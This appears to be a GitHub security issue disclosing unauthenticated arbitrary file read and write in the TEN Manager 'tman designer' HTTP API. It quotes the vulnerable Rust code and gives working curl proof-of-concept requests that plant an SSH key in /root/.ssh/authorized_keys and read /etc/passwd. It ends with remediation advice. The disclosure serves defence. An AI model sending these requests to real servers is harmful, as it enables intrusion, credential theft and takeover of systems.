Skip to content

Unauthenticated arbitrary file read and write (to RCE) via the TMAN Designer file-content API #2187

Description

@geo-chen

Description

The TEN Manager "TMAN Designer" backend (the HTTP server behind tman designer, the documented development UI) exposes file-content endpoints that read and write a caller-supplied filesystem path with no path confinement and no authentication. The server binds 0.0.0.0:49483 by default with any-origin CORS. An unauthenticated network client (or any web page, cross-origin) can therefore read any file the process can read and write any file it can write, which escalates trivially to remote code execution (write ~/.ssh/authorized_keys, a cron file, or a graph/extension file the agent later executes). Confirmed against the real tman designer binary over HTTP: /etc/passwd was read and a file was written outside any intended directory, with no credentials.

core/src/ten_manager/src/designer/file_content/mod.rs:

// read sink (~line 31)
let file_path = request_payload.file_path.clone();
fs::read_to_string(&file_path)          // raw client path, no confinement
// write sink (~lines 68-92)
fs::create_dir_all(parent);
fs::write(file_path, content)           // raw client path + content

Routes (core/src/ten_manager/src/designer/mod.rs ~lines 156 to 158): POST /api/designer/v1/file-content (read) and PUT /api/designer/v1/file-content (write). There is no authentication middleware on the designer app (it only wraps CORS). The default bind is 0.0.0.0 (cmd/cmd_designer.rs ~line 37), port 49483 (constants/mod.rs ~line 48), with Cors::default().allow_any_origin() (cmd_designer.rs ~line 136). This is the documented tman designer surface and is published in the project's docker-compose.

Environment

Steps to reproduce

# write (-> RCE: target an importable/served/authorized_keys path)
curl -X PUT http://TARGET:49483/api/designer/v1/file-content \
  -H 'Content-Type: application/json' \
  -d '{"file_path":"/root/.ssh/authorized_keys","content":"<attacker key>"}'
# read
curl -X POST http://TARGET:49483/api/designer/v1/file-content \
  -H 'Content-Type: application/json' -d '{"file_path":"/etc/passwd"}'

Validated against the tman designer binary (listening 49483): PUT {"file_path":"/tmp/ten_poc","content":"PWNED_BY_TEN_DESIGNER"} returned {"status":"ok"} and wrote the file (and a new directory via create_dir_all); POST {"file_path":"/etc/passwd"} returned {"status":"ok","data":{"content":"root:x:0:0:..."}} (full file). No credentials were sent. (Building tman required a stub for an unrelated native schema-validation library; the server log confirmed zero calls to it on the file-content path, so the std::fs read/write executed as real code.)

Expected behavior

Confine file_path to the intended project/app directory (canonicalize and assert the resolved path is within an allowed root; reject absolute paths and ..) on both the read and write endpoints. Require authentication on the designer API, and bind to loopback by default (do not bind 0.0.0.0 with any-origin CORS for an unauthenticated file API). Restrict writes to the project workspace.

Severity

Critical

Additional Information

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE: CWE-306 Missing Authentication / CWE-22 Path Traversal (arbitrary file read and write)

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions